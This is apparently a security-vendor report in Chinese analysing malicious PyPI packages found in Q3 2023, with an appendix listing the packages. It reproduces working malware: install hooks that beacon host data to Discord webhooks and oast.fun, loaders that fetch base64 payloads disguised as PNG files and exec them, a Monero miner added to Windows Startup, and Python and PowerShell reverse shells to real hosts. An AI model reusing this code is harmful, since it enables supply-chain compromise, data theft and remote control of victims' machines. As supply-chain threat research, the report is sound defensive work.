2023年第三季度,天问Python供应链威胁监测模块共捕捉到320个恶意包。在对某一家族的恶意包分析中,我们发现攻击者会不断尝试更新迭代攻击方式来规避安全检测,其恶意代码逐渐趋同于正常代码。这使得恶意代码监测的难度不断提升,给供应链安全带来了巨大的挑战。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 网络请求

相关恶意特征requests.getsocket.socketurllib.request.urlopen

这种恶意包根据网络请求的目的可以分为三类,信息回传恶意载荷下载反向Shell

1.1 信息回传

相关恶意特征: socket.gethostnameos.getcwdgetpass.getuserrequest.getplatform.releaseplatform.systemhttps://api.ipify.orghttp://ifconfig.mehttps://geolocation-db.com/jsonp/{ip}socket.gethostname

我们在Q3的监测中,发现了一个恶意包家族,这些恶意包在setup.py中设置的authorauthor_email完全一致。通过对这个恶意家族的演变分析,我们发现攻击者也在不断升级尝试不同的攻击手法,来逃避安全检测。

discord-api-requests-1.0.0/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from setuptools import setup
from setuptools.command.install import install
import requests

class CustomInstall(install):
def run(self):
requests.post(
url="https://discord.com/api/webhooks/1149195944424906772/X4IehrY8fcrdKYgHuGN8dY9xK9hYcZ1J6suYIwS-0HMdNSbYe27FZqpCUjeUMd-7voQY",
json={
"content":"Alguien ha instalado el paquete."
}
)
install.run(self)

setup(
...
author='Benjamin Rodriguez',
author_email='benjaminrodriguezshhh@proton.me',
...
)

这是我们发现的这个恶意家族的第一个包,可以看到它向一个discord账号回传了一个字符串”Alguien ha instalado el paquete.”。这是一句西班牙语,含义是”有人已经安装了该软件包”,由此可以推断这是攻击者的一个测试包。

当天晚些时候,该攻击者又发布了另外一个恶意包。

simple-discord-api-1.0.1/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from setuptools import setup
from setuptools.command.install import install

class CustomInstall(install):
def run(self):
import requests
exec(requests.get("http://wpp-api-vrv3.onrender.com/api/steal/1140884481671188581/", headers={"auth":"&&CD&&ON"}).json()['code'])
install.run(self)

setup(
...
author='Benjamin Rodriguez',
author_email='benjaminrodriguezshhh@proton.me',
...
)

从包内的内容,我们可以看到攻击者将恶意代码放在的第三方网站上,通过网络请求的方式获取恶意代码并加载到内存中执行。第三方网站的截图如下所示。

render

之后,该攻击者将PyPI的账号从benjskk切换到了benjaprograms,同时更新了恶意包的内容。将攻击代码变成字符串,写入文件中,然后通过执行文件的方式来发起攻击。这样可以避免静态检测中对于第三方库函数的检测,具体代码如下所示。

discord-simple-api-1.2.1/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from setuptools import setup
import os
from setuptools.command.install import install

class CustomInstall(install):
def run(self):
install.run(self)
code = """
import requests
response = requests.get("http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/", headers={"auth": "&&CD&&ON"})
code = response.json().get('code')

if code:
exec(code)"""
with open("on.py", "w") as f:
f.write(code)
os.system("python on.py")

setup(
...
author='Benjamin Rodriguez Acosta',
author_email='benjaminrodriguezshhh@proton.me',
...
)

discord-simple-api-1.3.1中,攻击者取消了文件写入操作,直接使用exec执行字符串,实现无文件攻击。

discord-simple-api-1.3.1/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from setuptools import setup
import os, time
from setuptools.command.install import install

class CustomInstall(install):
def run(self):
import threading
def runxd() -> None:
time.sleep(3)
code = """
import requests
response = requests.get("http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/", headers={"auth": "&&CD&&ON"})
code = response.json().get('code')

if code: exec(code)"""
exec(code)
install.run(self)
threading.Thread(target=runxd).start()

...

三天后,攻击者又使用bestprogrammer这个账号发布了新的恶意包urtelib32-1.7.2,这次攻击者将攻击代码使用base64编码写入一个文件,并将文件伪装成png。从第三方服务器下载到这个伪装png后,会对其解码运行。迷惑性更强,具体代码如下。

urtelib32-1.7.2/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from setuptools import setup
import os, time, requests
from base64 import b64decode
from setuptools.command.install import install

class CustomInstall(install):
def run(self):
import threading
def runxd() -> None:
with open(
"image.png",
"wb"
) as file:
file.write(
requests.get(
f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
headers={"auth":"&&CD&&ON"}
).content
)

exec(b64decode(open("image.png", "rb").read()))
install.run(self)
threading.Thread(target=runxd).start()

setup(
...
author='Pain',
author_email='benjaminrodriguezshhh@proton.me',
...
)

然后,攻击者bestprogrammer又进一步隐藏了恶意代码,在urllitelib-1.0.1中,其将恶意代码从setup.py中移到的urllitelib/post_install.py中,setup.py中只保留启动命令,具体代码如下所示。

urllitelib-1.0.1/setup.py

1
2
3
4
5
6
7
8
9
from setuptools import setup
from setuptools.command.install import install
import os

class CustomInstall(install):
def run(self):
install.run(self)
os.system('python urllitelib\\post_install.py')
...

urllibtelib-1.0.1/urllitelib/post_install.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import os
import sys
import ctypes
import time
from base64 import b64decode

def main():
if not ctypes.windll.shell32.IsUserAnAdmin():
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)

try:
with open(
"image.png",
"wb"
) as file:
file.write(
requests.get(
f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
headers={"auth":"&&CD&&ON"}
).content
)

exec(b64decode(open("image.png", "rb").read()))
except Exception as e:
print(e)
time.sleep(15)

if __name__ == "__main__":
main()

为了进一步隐藏攻击代码,攻击者pyprograms选择不在安装时执行恶意代码,而是将恶意代码放到模块的__init__.py文件中,在import过程中执行。同时,其添加了其他正常代码企图干扰检测分析,具体代码如下。

pygraphql32-1.2.0/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from setuptools import setup
from setuptools.command.install import install

class CustomInstall(install):
def run(self):
install.run(self)

setup(
...
author='Pain',
author_email='benjaminrodriguezshhh@proton.me',
packages=['pygraphql'],
...
)

pygraphql32-1.2.0/pygraphql/__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests, random, time
import requests
import sys
import ctypes, time
from base64 import b64decode

while True:
try:
if not ctypes.windll.shell32.IsUserAnAdmin():
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
with open(
"image.png",
"wb"
) as file:
file.write(
requests.get(
f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
headers={"auth":"&&CD&&ON"}
).content
)

exec(b64decode(open("image.png", "rb").read()))
break
except Exception as e:
print(e);time.sleep(5)

class ProxiesObject:
def __init__(
...
...

通过对这个恶意家族的分析,我们不难发现攻击者对于逃避恶意检测的手段在不断迭代更新,而且他们的伪装使得恶意代码与正常代码相差无几。这对于恶意检测分析而言将是一个非常严峻的考验,未来如何能高效准确地分辨这些恶意包将会是非常重要的一个课题。

visumpy-2073.0.0/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from setuptools import setup
from setuptools.command.install import install
import requests
import socket
import getpass
import os

class CustomInstall(install):
def run(self):
install.run(self)
hostname=socket.gethostname()
cwd = os.getcwd()
username = getpass.getuser()
ploads = {'hostname':hostname,'cwd':cwd,'username':username}
requests.get("https[:]//cj9j06r2vtc0000ayy00gjjwdxayyyyyg.oast.fun",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream

这个恶意包收集了用户主机名和用户名等信息进行了回传。经过分析,回传所使用的网址是通过GitHub一个开源工具interactsh生成的,其可以将payload内容通过这个网址回传给攻击者。类似的网址还有https://oastify.com/,其是Burp Suite用于测试web应用安全漏洞的,但被部分攻击者用于接收受害者的相关信息。

信息回传常见网址 oastify.comburpcollaborator.netpipedream.netoast.funhttps://discord.com/api/webhooks/

1.2 恶意载荷下载

恶意载荷可以是一个恶意文件,也可以是一段代码。这些载荷通常放在第三方文件分享网站,常见的网站列表如下所示:

https://paste.fohttps://transfer.sh/https://cdn.discordapp.com/attachments/https://dl.dropbox.com/https://www.mediafire.com/https://rentry.co/https://raw.githubusercontent.com/https://render.com/

adv2099m-1.0.0/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import setuptools
from setuptools.command.install import install
from setuptools.command.develop import develop
import base64
import os

def b64d(base64_code):
base64_bytes = base64_code.encode('ascii')
code_bytes = base64.b64decode(base64_bytes)
code = code_bytes.decode('ascii')
return code

import requests
from zipfile import ZipFile
#C:\Users\PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
#C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
#C:\Windows

#url download
url = "https[:]//download1085.mediafire.com/h5t294h9wiggBiOS47OJsrAqRrBavPAoZQwcwB5KIZ1pVBfq8nwg6f5tkwkJBp_-1SgEgF_7Byes35_olhHdHrO80O0ApX_h542P6jxftPccXDAK3U-Qs9bSPv30ozmTTutwK_j1vbrft2sCW4scgeVLHqLGrio4dAPUy_1DuXLOvw/0p52izgv4chgn3c/SystemComponents.zip"

myfile = requests.get(url)
open("SystemComponents.zip", "wb").write(myfile.content)
with ZipFile("SystemComponents.zip", "r") as Zfile:
Zfile.extractall()
os.remove("SystemComponents.zip")
path1 = os.getenv("AppData")
path2 = "\\Microsoft\\Windows\\Start Menu\\Programs\Startup"
os.rename("SystemComponents", path1 + "\\SystemComponents")
f = open("WindowsUpdater.bat", "w+")
f.write("cd " + path1 + """\\SystemComponents
WindowsXr.exe --opencl --cuda -o stratum+ssl://randomxmonero.auto.nicehash.com:443 -u 39GPVHHtZdPGW2H3F1MMgW94KF8hxfsEWU -p x -k --nicehash -a rx/0""")
f.close()
os.rename("WindowsUpdater.bat", path1 + path2 + "\\WindowsUpdater.bat")

...

这个恶意包利用requests下载了一个zip文件,并将其解压缩移动到了Windows的AppData目录下。然后,其通过改写WindowsUpdater.bat实现了系统启动时的自动运行。

pfadver05/setup.py

1
2
3
4
5
6
7
8
9
10
...
setuptools.setup(
name = "pfadver05",
version = "1.0.0",
...,
packages = setuptools.find_packages(),
py_modules=["adv2099"],
python_requires = ">=2.0",
)

这个恶意包的攻击代码与上面的基本一致,差别在于它将恶意代码从setup.py文件中移动到了adv2099.py中,并在setup参数中规定了模块名。这样模块被导入的时候,就会触发攻击。

1.3 反向Shell

相关恶意特征: socket.socket/bin/sh

nir-bb-test-0.6

1
2
3
4
5
6
7
8
9
...

import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172[.]190.121.182", 3306))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

2. base64 payload

相关恶意特征base64.b64decodesetuptools.command.install.installtempfile.NamedTemporaryFile

pyJwtRequest-1.0.4/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64

import setuptools
from setuptools.command.install import install

code = '''aW...Q0K
'''

class AfterInstall(install):
def run(self):
exec(base64.b64decode(code))
setuptools.setup(
...
)

payload可以是一段代码,也可以是一个二进制文件。这个恶意包中包含了一个反向shell的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import os, socket, subprocess, threading
from urllib.parse import urlparse

url = "2[.]tcp.ngrok.io:16418"
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()


def p2s(s, p):
while True:
s.send(p.stdout.read(1))

def get_ip_from_url(url):
parsed_url = urlparse(url)
hostname = parsed_url.hostname
ip = socket.gethostbyname(hostname)
return ip


print("co")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("2.tcp.ngrok.io", 16418))


p = subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
p.wait()
except KeyboardInterrupt:
s.close()

feur-0.1/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import subprocess
import setuptools
from setuptools.command.install import install
import tempfile

code = '''aW1...
'''
code2 ='''TVq...'''


class AfterInstall(install):

def run(self):
decoded_data = base64.b64decode(code2)
with tempfile.NamedTemporaryFile(delete=False) as temp_file:
temp_file.write(decoded_data)

# Exécution du fichier temporaire
process = subprocess.Popen(temp_file.name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()

这个包中的内容相较于前一个包,添加了一个新的base64字符串code2。这个payload是一个二进制文件,在包安装过程中写入临时文件并执行。

3. 附录(恶意包列表)

  1. 网络请求

    • 信息回传
    包名 版本 作者 上传时间
    visumpy 2073.0.0 prasiddha47 2023-07-06T09:05:59
    min-jq 1.5 kotko 2023-07-12T04:30:46
    diaossama-test2 0.0.3 PypiSecTest 2023-07-13T09:48:51
    diaossama-test3 0.0.2 PypiSecTest 2023-07-14T11:13:10
    diaossama-test3 0.0.3 PypiSecTest 2023-07-14T11:28:56
    diaossama-test3 0.0.4 PypiSecTest 2023-07-14T11:38:36
    thanos-gen 2.1.1 predator_97x1 2023-07-20T10:37:34
    mypackage-for-demo-purposes 0.1 clear-test 2023-07-27T06:48:24
    nferx 1.0.0 abradabra 2023-07-27T09:15:31
    algokit-arc 10.0.1 nirajmodi 2023-08-05T05:07:47
    dependencyrrr 1.0.0 Rooted0x01 2023-08-08T04:21:25
    peloton-client123 0.8.10 y54586b0 2023-08-13T22:34:01
    syns-knox-xss-allwhere 1.0.0 Rooted0x01 2023-08-13T22:38:30
    kwxiaodian 9.1.10 LkBAUB 2023-09-03T15:10:39
    openapi-ba 9.1.10 LkBAUB 2023-09-03T15:40:37
    dsc-auth 1.1.1 index80999357 2023-09-03T15:44:52
    vmc-reporter 1.99.103 Pinkyy 2023-09-06T08:53:02
    appsec-utils 1.99.105 Pinkyy 2023-09-06T13:04:40
    appsec-utils 1.99.106 Pinkyy 2023-09-06T15:02:33
    aisi-od-training 1.99.106rc1 Pinkyy 2023-09-07T09:49:42
    discord-api-requests 1.0.0 benjskk 2023-09-07T04:15:52
    simple-discord-api.py 1.0.0 benjskk 2023-09-07T20:08:41
    simple-discord-api.py 1.0.1 benjskk 2023-09-07T20:15:25
    simple-api.py 1.0.2 johnprogrammer 2023-09-07T20:35:46
    discord-simple-api.py 1.2.1 benjaprograms 2023-09-07T22:05:35
    discord-simple-api.py 1.3.0 benjaprograms 2023-09-07T22:09:12
    discord-simple-api.py 1.3.1 benjaprograms 2023-09-07T22:12:41
    rtlibb32 1.2.1 benjashh 2023-09-08T00:26:21
    urtelib32 1.7.2 bestprogrammer 2023-09-10T01:06:45
    urtelib32 1.7.3 bestprogrammer 2023-09-10T01:10:51
    urtelib32 1.7.5 bestprogrammer 2023-09-10T01:19:28
    urllitelib 1.0.1 bestprogrammer 2023-09-10T02:33:10
    pygraphql32 1.2.0 pyprograms 2023-09-10T18:50:15
    litepygraphql 1.2.0 pyprograms 2023-09-10T19:12:05
    pygraphql32 1.2.1 pyprograms 2023-09-10T19:18:23
    graphql32 1.7.3 johnxx 2023-09-11T01:23:48
    graphql32 1.8.0 johnxx 2023-09-11T02:18:05
    secureit-a-tope 1.2 zer0ulsalamandy 2023-09-15T08:32:01
    secureit-a-topev1 1.2 zer0ulsalamandy 2023-09-15T08:33:28
    secureit-a-topev2 1.2 zer0ulsalamandy 2023-09-15T08:36:15
    secureit-a-topev3 1.2 zer0ulsalamandy 2023-09-15T08:38:22
    secureit-a-topev3 99.99 zer0ulsalamandy 2023-09-15T12:34:02
    secureit-a-topev4 99.99 zer0ulsalamandy 2023-09-15T12:35:30
    pytarlooko 1.0.0 vcdhgfg 2023-09-23T20:53:42
    • 恶意载荷下载
    包名 版本 作者 上传时间
    adv2099m 1.0.0 adv2099 2023-07-02T16:49:27
    adv2099m2 1.0.0 adv2099 2023-07-02T16:58:52
    adv2099m3 1.0.0 adv2099 2023-07-02T17:02:29
    adv2099m4 1.0.0 miguel2099 2023-07-02T17:14:02
    adv2099m5 1.0.0 miguel2099 2023-07-02T17:17:51
    adv2099m6 1.0.0 miguel2099 2023-07-02T17:21:26
    adv2099m7 1.0.0 adv2099n2 2023-07-02T19:06:30
    supra-style 0.6 Oxygen1337 2023-07-04T02:19:16
    supra-style 0.7 Oxygen1337 2023-07-04T11:10:45
    urz 0.1 SpookyCoder 2023-07-04T19:49:31
    juk 0.1 SpookyCoder 2023-07-04T21:08:45
    tjajsd 10.33 Tahg.py 2023-07-05T15:08:53
    jas9do1 7.72 Tahg.py 2023-07-05T15:12:38
    18923aa 4.96 Tahg.py 2023-07-05T15:13:32
    pfadver05 1.0.0 pfadver05 2023-07-06T18:20:45
    servantcord 1.0.0 servant666 2023-07-07T12:22:11
    servantcord 1.0.1 servant666 2023-07-07T12:51:10
    servantcord 1.0.2 servant666 2023-07-07T12:56:38
    servantcord 1.0.3 servant666 2023-07-07T12:59:20
    servantcord 1.0.4 servant666 2023-07-07T13:02:26
    servantcord 1.0.6 servant666 2023-07-07T13:05:35
    servantcord 1.0.8 servant666 2023-07-07T13:16:53
    servantcord 1.0.9 servant666 2023-07-07T13:21:35
    servantcordd 1.0.9 servant666 2023-07-07T14:10:00
    servandcord 1.0.9 servant666 2023-07-07T15:10:24
    testpackageforyoutube 1.0.0 killskids 2023-07-14T10:42:43
    killskids-auth 1.0.5 killskids 2023-07-14T11:34:01
    killskids-auth 2.0.0 killskids 2023-07-14T12:33:28
    pyobfuscater 1.0.0 killskids 2023-07-17T17:59:55
    pyobfuscater 1.0.1 killskids 2023-07-17T18:05:19
    pyobfuscater 1.0.3 killskids 2023-07-17T18:11:54
    pyobfuscater 1.0.7 killskids 2023-07-17T18:16:39
    pyobfuscater 1.0.8 killskids 2023-07-17T18:19:14
    pyobfuscater 1.1.0 killskids 2023-07-17T18:25:55
    pyobfuscater 1.2.1 killskids 2023-07-17T18:29:53
    wessycord 1.2.4 killskids 2023-07-17T18:37:21
    wessycord 1.6.1 killskids 2023-07-17T18:46:08
    nagie 1.1.0 DreamyOak 2023-07-19T13:35:21
    nagie 1.13.0 DreamyOak 2023-07-19T13:39:37
    nagie 2.32.0 DreamyOak 2023-07-19T13:46:35
    nagiepy 3.422.0 nagie 2023-07-22T10:47:00
    nageir 0.1.2 nagie 2023-07-22T10:55:47
    dsicobotuser 0.0.1 True_Hell 2023-07-20T06:27:42
    dicuser 0.0.1 True_Hell 2023-07-20T06:36:22
    dicuser 0.0.2 True_Hell 2023-07-20T06:45:13
    dicuser 0.0.3 True_Hell 2023-07-20T06:58:52
    dicuser 0.0.4 True_Hell 2023-07-20T07:12:37
    dicuser 0.0.5 True_Hell 2023-07-20T07:22:13
    diuser 0.0.1 True_Hell 2023-07-20T07:31:17
    genuser 0.0.1 True_Hell 2023-07-20T15:28:23
    duck-test-pkg 1.99.0 pypi_sw_training 2023-07-24T18:59:34
    duck-test-pkg 1.99.0 pypi_sw_training 2023-07-24T18:59:36
    splite5 0.0.1 badsidev 2023-07-25T11:23:09
    splite5 0.0.1 badsidev 2023-07-25T11:23:10
    evil-pip 0.0.1 0xe2d0 2023-08-23T19:47:01
    evil-pip 0.1.0 0xe2d0 2023-08-23T20:00:56
    • 反向Shell
    包名 版本 作者 上传时间
    nir-bb-test 0.6 niroh 2023-07-03T14:51:55
  2. base64 payload

包名 版本 作者 上传时间
graphdata 0.9.0 j_ackerman 2023-07-01T09:20:32
pyJwtRequest 1.0.4 ErwannTestOmg 2023-07-01T14:44:02
EvannLeGoat 1.0.4 ErwannCacaOmg 2023-07-01T15:38:30
SwiftyPy 2.1 SwiftFan 2023-07-01T16:40:39
SwiftyPy 3.1 SwiftFan 2023-07-01T22:47:45
SwiftyPy 4.1 SwiftFan 2023-07-01T22:50:24
SwiftyPy 5.1 SwiftFan 2023-07-02T00:46:56
SwiftyPy 7.1 SwiftFan 2023-07-02T00:56:54
SwiftyPy 8.1 SwiftFan 2023-07-02T01:03:18
SwiftyPy 8.2 SwiftFan 2023-07-02T01:06:59
requests-toolbelt-2 0.0.0 nexmo 2023-07-20T02:02:44
requests-toolbelt-2 0.0.0 nexmo 2023-07-20T02:02:45
requests-toolbelt-v2 0.0.0 jrich84 2023-07-20T02:09:25
requests-toolbelt-v2 0.0.0 jrich84 2023-07-20T02:09:26
requests-toolbelt-v2 0.0.1 jrich84 2023-07-20T02:12:47
requests-toolbelt-v2 0.0.1 jrich84 2023-07-20T02:12:49
osinfopkg 0.0.3 marianacamelia 2023-07-19T07:54:17
osinfopkg 0.0.3 marianacamelia 2023-07-19T07:54:19
osinfopkg 1.0.2 marianacamelia 2023-07-24T06:26:57
osinfopkg 1.0.2 marianacamelia 2023-07-24T06:26:59
osinfopkg 1.0.3 marianacamelia 2023-07-24T06:58:55
osinfopkg 1.0.3 marianacamelia 2023-07-24T06:58:57
osinfopkg 1.0.4 marianacamelia 2023-07-24T07:19:32
osinfopkg 1.0.4 marianacamelia 2023-07-24T07:19:33
VMConnect 1.1.7 hushki502 2023-07-28T02:38:30
VMConnect 1.1.7 hushki502 2023-07-28T02:38:32
this-package-is-a-test-of-starjacking 1.0.0 allegrep 2023-09-11T15:48:47
pystob 1.0.0 Hellka 2023-09-17T11:12:51
pylioner 1.0.0 Histoll 2023-09-17T21:23:42
pystallerer 1.0.0 J_nky 2023-09-22T18:49:22
pyktrkatoo 1.0.0 J_nky 2023-09-23T17:31:57